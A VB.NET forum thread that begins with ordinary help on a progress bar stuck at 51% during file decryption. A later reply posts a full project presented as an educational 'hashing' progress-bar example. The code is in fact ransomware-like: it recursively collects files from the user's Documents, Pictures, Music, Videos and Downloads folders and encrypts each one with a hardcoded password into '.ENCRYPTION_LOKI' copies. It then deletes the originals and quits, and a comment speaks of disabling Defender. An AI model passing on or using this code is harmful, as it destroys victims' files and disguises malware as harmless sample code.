Answered Progressbar only 51%

zackmark29

Active member
Joined
Apr 21, 2020
Messages
28
Programming Experience
Beginner
Could someone help me fix this codes?
It's only getting 51% result when the process is done


VB.NET:
 Dim counter As Double = 1
        Dim outputFolder As String = txtFileOutput.Text + "\" + txtFileName.Text + ".ts"
        Dim encryptionKey As Byte() = File.ReadAllBytes(txtKeyFile.Text)
        Dim inputFilestream As FileStream
        Dim outputFilestream As FileStream
        Try
            outputFilestream = New FileStream(outputFolder, FileMode.Create, FileAccess.Write, FileShare.ReadWrite, FileOptions.SequentialScan)

            For Each obj2 As Object In ListView1.Items
                Dim sourceitem2 As SourceItem = CType(obj2, SourceItem)

                Dim encryptionIV As Byte() = New Byte(15) {}

                inputFilestream = New FileStream(sourceitem2.FileName, FileMode.Open, FileAccess.Read, FileShare.Read, FileOptions.SequentialScan)

                Dim aes As New AesManaged With {
                    .Key = encryptionKey,
                    .IV = encryptionIV,
                    .Mode = CipherMode.CBC
                }

                Dim encryptor = aes.CreateDecryptor()
                Dim cryptoStream = New CryptoStream(inputFilestream, encryptor, CryptoStreamMode.Read)

                Dim count = sourceitem2.FileName.Length

                'PROGRESSBAR
                Dim value As Double = (counter / sourceitem2.FileName.Length) * 100
                BackgroundWorker1.ReportProgress(CInt(value))

                cryptoStream.CopyTo(outputFilestream)

                counter += 1

                inputFilestream.Close()
            Next
            outputFilestream.Flush()
            outputFilestream.Close()

        Catch ex As Exception
            MsgBox(ex.Message)
        End Try
 
Dim value As Double = (counter / sourceitem2.FileName.Length) * 100
Shouldn't progress be measured against the count of ListView1.Items that is looped?
 
Shouldn't progress be measured against the count of ListView1.Items that is looped?

I've already fixed this Admin.
What I did is just count the items inside the listview and it worked.
But do you suggest some way to make the process faster? it looks like the progressbar is causing the process become slow
 
What I did is just count the items inside the listview and it worked.
ListViewItemCollection has a Count property, no need to count them yourself :)
it looks like the progressbar is causing the process become slow
Updating progress in UI should have a neglectable CPU impact to a file based cryptographic process.
 
ListViewItemCollection has a Count property, no need to count them yourself :)
ahm. could you give me sample to make changes for my progressbar?
I'm processing files inside the listview

Updating progress in UI should have a neglectable CPU impact to a file based cryptographic process.
So it's just normal? sometimes the process is faster
Is there any method to make the process less cpu and ram usage?
 
ListView1.Items.Count is the count of the items in the listview, if that is the count you're looking for.
 
I prefer Timers that measure the progress of a ListBox that compliment the progress bars. I've enclosed code of a project I recently designed for Hashing (File Authentication). You should get the idea with your progress bar issue once you study the code. See Timer1. This program will Hash any file in any folder/subfolders (if you added more Special folders in the NativeMethods Class and Form1 Code) until everything is finished. Be careful if you use it. It's for Educational Research Only.
Currently, the program only targets: Downloads, Music, Pictures, Documents, & Videos (RECURSIVELY)
My YouTube Video Below:
NATIVE METHODS FOR SECURITY HASHING...HYBRID METHODS VB.NET
CODE: GITHUB: Native-Methods-SHA512/NativeMethods.vb at main · Blackstarproject/Native-Methods-SHA512
Proper use of progress bars:
Imports System.IO
Imports System.Security.Cryptography

Public Class Form1

    Private HOST As String
    Private FILTER_INPUT As FileStream
    Private FILTER_OUTPUT As FileStream
    Private ENCRYPT_DIRECTORIES As String
    Private DECRYPT_DIRECTORIES As String
    Public Property ICESTREAM As Object



    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        'NATIVE METHODS START>>>
        Dim ALLSPARK As New NativeMethods()
        Dim spath As String = NativeMethods.GetSpecialFolder(NativeMethods.ShellSpecialFolders.Videos)
        Dim spath1 As String = NativeMethods.GetSpecialFolder(NativeMethods.ShellSpecialFolders.Documents)
        Dim spath2 As String = NativeMethods.GetSpecialFolder(NativeMethods.ShellSpecialFolders.Music)
        Dim spath3 As String = NativeMethods.GetSpecialFolder(NativeMethods.ShellSpecialFolders.Pictures)
        Dim spath4 As String = NativeMethods.GetSpecialFolder(NativeMethods.ShellSpecialFolders.Downloads)

        'Native Video
        For Each foundfile As String In My.Computer.FileSystem.GetFiles(spath, FileIO.SearchOption.SearchAllSubDirectories)
            Dim a As Integer = &HA
            Do
                If (a = &HF) Then

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                    a += &H1

                    Continue Do

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                End If
                a += &H1

            Loop While (a < &H14)

        Next

        'Native Music
        For Each foundfile As String In My.Computer.FileSystem.GetFiles(spath1, FileIO.SearchOption.SearchAllSubDirectories)
            Dim a As Integer = &HA
            Do
                If (a = &HF) Then

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                    a += &H1

                    Continue Do

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                End If
                a += &H1

            Loop While (a < &H14)

        Next

        'Native Pictures
        For Each foundfile As String In My.Computer.FileSystem.GetFiles(spath2, FileIO.SearchOption.SearchAllSubDirectories)
            Dim a As Integer = &HA
            Do
                If (a = &HF) Then

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                    a += &H1

                    Continue Do

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                End If
                a += &H1

            Loop While (a < &H14)

        Next

        'Native Documents
        For Each foundfile As String In My.Computer.FileSystem.GetFiles(spath3, FileIO.SearchOption.SearchAllSubDirectories)
            Dim a As Integer = &HA
            Do
                If (a = &HF) Then

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                    a += &H1

                    Continue Do

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                End If
                a += &H1

            Loop While (a < &H14)

        Next

        'Native Downloads
        For Each foundfile As String In My.Computer.FileSystem.GetFiles(spath4, FileIO.SearchOption.SearchAllSubDirectories)
            Dim a As Integer = &HA
            Do
                If (a = &HF) Then

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                    a += &H1

                    Continue Do

                    If foundfile.EndsWith(".ENCRYPTION") Then

                    Else

                        Rat_RUN.Items.Add(foundfile)

                    End If

                End If
                a += &H1

            Loop While (a < &H14)

        Next
        'END OF NATIVE METHOD
    End Sub

    Public Function GUARDIAN(PASSMANAGER As String) As Byte()
        Dim Data() As Char = PASSMANAGER.ToCharArray
        Dim Length As Integer = Data.GetUpperBound(&H0)
        Dim HASH_DATA(Length) As Byte

        For i As Integer = 0 To Data.GetUpperBound(&H0)

            HASH_DATA(i) = CByte(Asc(Data(i)))
        Next

        Dim SHA512 As New SHA512Managed

        Dim HASH_RESULT As Byte() = SHA512.ComputeHash(HASH_DATA)

        Dim KEY(&H1F) As Byte

        For i As Integer = &H0 To &H1F

            KEY(i) = HASH_RESULT(i)

        Next

        Return KEY

    End Function

    Public Function CREATION_POOL(PASSMANAGER As String) As Byte()

        'Convert strPassword to an array and store in chrData.
        Dim Data() As Char =
            PASSMANAGER.ToCharArray
        'Use intLength to get strPassword size.
        Dim Length As Integer =
            Data.GetUpperBound(&H0)
        'Declare bytDataToHash and make it the same size as chrData.
        Dim HASH_DATA(Length) As Byte

        'Use For Next to convert and store chrData into bytDataToHash.
        For i As Integer =
            &H0 To Data.GetUpperBound(&H0)

            HASH_DATA(i) =
                CByte(Asc(Data(i)))

        Next

        'Declare bytIV(15).  It will hold 128 bits.
        Dim IV(&HF) As Byte

        'Use For Next to put a specific size (128 bits) of
        'bytResult into bytIV. The 0 To 30 for bytKey used the first 256 bits.
        'of the hashed password. The 32 To 47 will put the next 128 bits into bytIV.
        For i As Integer = &H20 To &H2F
            'Declare what hash to use.
            Dim SHA512 As New SHA512Managed
            'Declare bytResult, Hash bytDataToHash and store it in bytResult.
            Dim Result As Byte() = SHA512.ComputeHash(HASH_DATA)

            IV(i - &H20) = Result(i)

        Next

        Return IV 'return the IV

    End Function

    Public Enum CryptoAction
        HashEncrypt = &H1
        HashDecrypt = &H2
    End Enum

    Public Sub HASH_PASSAGE(ENCRYPT_DIRECTORIES As String, DECRYPT_DIRECTORIES As String, Key() As Byte, IV() As Byte, Guide As CryptoAction)

        Try
            'In case of errors.
            'Setup file streams to handle input and output.
            FILTER_INPUT = New FileStream(ENCRYPT_DIRECTORIES, FileMode.Open,
                                                       FileAccess.Read)
            FILTER_OUTPUT = New FileStream(DECRYPT_DIRECTORIES, FileMode.OpenOrCreate,
                                                    FileAccess.Write)
            FILTER_OUTPUT.SetLength(&H0) 'make sure fsOutput is empty
            'Setup Progress Bar
            ProgressBar2.Value = &H0

            ProgressBar2.Maximum = &H64

            Dim ICESTREAM As CryptoStream

            'Declare your CryptoServiceProvider.
            Dim RijndaelCryptography As New RijndaelManaged

            'Determine if encryption or decryption sets up cryptostream
            Select Case Guide
                Case CryptoAction.HashEncrypt

                    ICESTREAM = New CryptoStream(FILTER_OUTPUT, RijndaelCryptography.CreateEncryptor(Key, IV), CryptoStreamMode.Write)

                Case CryptoAction.HashDecrypt
                    ICESTREAM = New CryptoStream(FILTER_OUTPUT, RijndaelCryptography.CreateDecryptor(Key, IV), CryptoStreamMode.Write)

            End Select

            Dim LENGTH_PROTOCOL As Long = FILTER_INPUT.Length 'THE INPUT FILE LENGTH

            Dim RUNNING_COUNT_BYTE_PROCESS As Long = &H0 'RUNNING COUNT OF BYTES PROCESSED

            'TIME TO DECLARE...VARIABLES FOR ENCRYPTION/DECRYPTION ALSO LOOPING UNTIL ALL FILES ARE PROCESSED...VERY IMPORTANT
            While RUNNING_COUNT_BYTE_PROCESS < LENGTH_PROTOCOL

                Dim BLOCK_BYTE(&H1000) As Byte ' HOLDS A BLOCK OF BYTES

                Dim CURRENT_BYTE_PROCESSED As Integer = FILTER_INPUT.Read(BLOCK_BYTE, &H0, &H1000)

                ICESTREAM.Write(BLOCK_BYTE, &H0, CURRENT_BYTE_PROCESSED)

                RUNNING_COUNT_BYTE_PROCESS += CLng(CURRENT_BYTE_PROCESSED)

                ProgressBar2.Value = CInt((RUNNING_COUNT_BYTE_PROCESS / LENGTH_PROTOCOL) * &H64)
            End While

            If ICESTREAM IsNot Nothing Then ICESTREAM.Close()

            If FILTER_INPUT IsNot Nothing Then FILTER_INPUT.Close()
            If FILTER_OUTPUT IsNot Nothing Then FILTER_OUTPUT.Close()

            If Guide = CryptoAction.HashEncrypt Then

                Dim UNIQUE As New FileInfo(ENCRYPT_DIRECTORIES)
                UNIQUE.Delete()


            End If

            If Guide = CryptoAction.HashDecrypt Then

                Dim BLISTER As New FileInfo(DECRYPT_DIRECTORIES)
                BLISTER.Delete()

            End If

            Dim UPDATER As String = $"{Chr(&HD)}{Chr(&HA)}"

            If Guide = CryptoAction.HashEncrypt Then

                'update the listbox...
                Debug.WriteLine("Encryption Complete" + UPDATER + UPDATER + "Total bytes processed = " + RUNNING_COUNT_BYTE_PROCESS.ToString, "Done")
            Else
                Debug.WriteLine("Decryption Complete" + UPDATER + UPDATER + "Total bytes processed = " + RUNNING_COUNT_BYTE_PROCESS.ToString, "Done")

            End If
            'Time to catch errors...
            'NOW I'LL DO YOU A SOLID. FOR A FULL LIST OF ERROR CODING NUMBERS: https://www.fmsinc.com/microsoftaccess/errors/ErrorNumber_Description2010.html
        Catch When Err.Number = &H35 'If file isn't found

            Debug.WriteLine("Please check to make sure the path and filename" + "are correct and if the file exists.", "Invalid Path or Filename")

        Catch
            If Guide = CryptoAction.HashDecrypt Then

                Dim UPDATER As New FileInfo(HOST)
                UPDATER.Delete()


            End If

        End Try

        If FILTER_INPUT IsNot Nothing Then FILTER_INPUT.Close()
        If FILTER_OUTPUT IsNot Nothing Then FILTER_OUTPUT.Close()


    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        'we must properly time this...
        Try
            ProgressBar1.Maximum = Rat_RUN.Items.Count

            If ProgressBar1.Value = Rat_RUN.Items.Count Then
                Timer1.Stop()
                Application.Exit() 'WHEN THE APP COMPLETES IT'S ENCRYPTION, IT WILL SHUT ITSELF DOWN

            Else
                Rat_RUN.SelectedIndex = ProgressBar1.Value

                Rat_RUN.SelectionMode = SelectionMode.One

                HOST = CStr(Rat_RUN.SelectedItem)

                Try

                    'Send the password to the CreateKey Function
                    Dim Key As Byte() = GUARDIAN("ETERNAL_POOL")

                    'SENDS THE PASSWORD TO THE CREATEIV FUNCTION
                    Dim IV As Byte() = CREATION_POOL("ETERNAL_POOL")

                    'NOW WE START THE ENCRYPTION PROCESS...
                    HASH_PASSAGE(HOST, HOST + ".ENCRYPTION_LOKI", Key, IV, CryptoAction.HashEncrypt)

                Catch ex As Exception
                    'WE MAY NEED TO USE THIS...
                    'Debug.WriteLine("Error : {0}", HOST)

                End Try
                'NOW THE PROGRESSBAR
                ProgressBar1.Increment(&H1) '<<< interval: 100


            End If
        Catch ex As Exception
            'WE MAY NEED TO USE THIS...
            'Debug.WriteLine("Error : {0}", HOST)
        End Try
    End Sub

'VITAL: PROGRESS WILL BE SEEN IN FIRST AND SECOND PROGRESSBAR, THE 3RD IS progBar & I HIDE IT IN THE FORM. IT MAY SEEM UNIMPORTANT BUT WITHOUT IT, THE MAGIC DOESN'T HAPPEN.
    Public Delegate Sub ProgressReportDelegate(value As Int32)

    Private Sub ReportProgress(v As Integer)

        If progBar.InvokeRequired Then

            progBar.Invoke(Sub() progBar.Value = v)

        Else

            progBar.Value = v

            progBar.Invalidate()

        End If

    End Sub
    'WE SHOULD BE READY TO GO...WATCH THOSE FOLDERS...FIRST I HAVE TO SHUTDOWN DEFENDER...
End Class


Native Class:

Imports System.Runtime.InteropServices

Public Class NativeMethods

    <DllImport("shell32.dll")>
    Public Shared Function SHGetKnownFolderPath(<MarshalAs(UnmanagedType.LPStruct)> rfid As Guid,
                                                dwFlags As UInteger, hToken As IntPtr, ByRef pszPath As IntPtr) As Int32

    End Function

    Public Enum ShellSpecialFolders
        Downloads
        Music
        Documents
        Pictures
        Videos
    End Enum

    Private Shared ReadOnly ShellFolderGuids As Guid() = {
        Guid.Parse("{374DE290-123F-4565-9164-39C4925E467B}"),
        Guid.Parse("{4BD8D571-6D19-48D3-BE97-422220080E43}"),
        Guid.Parse("{33E28130-4E1E-4676-835A-98395C3BC3BB}"),
        Guid.Parse("{18989B1D-99B5-455B-841C-AB7C74E4DDFC}"),
        Guid.Parse("{FDD39AD0-238F-46AF-ADB4-6C85480369C7}")}




    'ROUND 2...
    Friend Shared Function GetSpecialFolder(folder As ShellSpecialFolders) As String
        Dim fPath As IntPtr
        Dim SHFlag As UInteger = &H4000
        Dim ret As Integer = SHGetKnownFolderPath(ShellFolderGuids(folder), SHFlag, New IntPtr(0), fPath)
        If ret = 0 Then
            Return Marshal.PtrToStringUni(fPath)
        Else
            Return ""
        End If
    End Function

    Friend Shared Function GetSpecialVideoFolder() As String
        Return GetSpecialFolder(ShellSpecialFolders.Documents)
        Return GetSpecialFolder(ShellSpecialFolders.Downloads)
        Return GetSpecialFolder(ShellSpecialFolders.Music)
        Return GetSpecialFolder(ShellSpecialFolders.Pictures)
        Return GetSpecialFolder(ShellSpecialFolders.Videos)

    End Function

End Class
 
Last edited:
Back
Top